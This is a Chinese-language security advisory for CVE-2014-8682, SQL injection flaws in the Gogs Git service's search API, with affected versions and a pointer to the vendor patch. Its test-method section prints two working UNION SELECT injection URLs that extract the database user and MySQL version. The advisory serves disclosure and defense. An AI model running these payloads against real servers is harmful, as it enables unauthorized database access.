Gogs 多个SQL注入漏洞(CVE-2014-8682)
发表日期:2014-11-24 17:04:11
Gogs 多个SQL注入漏洞(CVE-2014-8682)
BugTraq-ID:71187
CVE-ID:CVE-2014-8682
发布日期:2014-11-19
更新日期:2014-11-20
受影响系统:
Gogs Gogs <= v0.5.6.1104-g0c5ba45
Gogs Gogs 0.3.1-9-g49dc57e
详细信息:
Gogs是用Go编写的自托管Git服务。 Gogs用api视图搜索系统内现有的库,该视图访问位于/api/v1/repos/search?q=<search query>,其中的q参数在实现上存在sql注入漏洞,攻击者可利用此漏洞完全控制数据库。
来源:
Pascal Turbing
测试方法:
警告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!http://www.example.com/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09 (SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09 user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null) %09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09 as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as %09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09 a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09 JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN %09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN %09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN %09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN %09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN %09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27 http://www.example.com/api/v1/users/search?q=\'/**/and/**/false)/**/union/**/ select/**/null,null,@@version,null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from /**/mysql.db/**/where/**/(\'%25\'%3D\'
解决办法:
厂商补丁:
Gogs
----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
https://github.com/gogits/gogs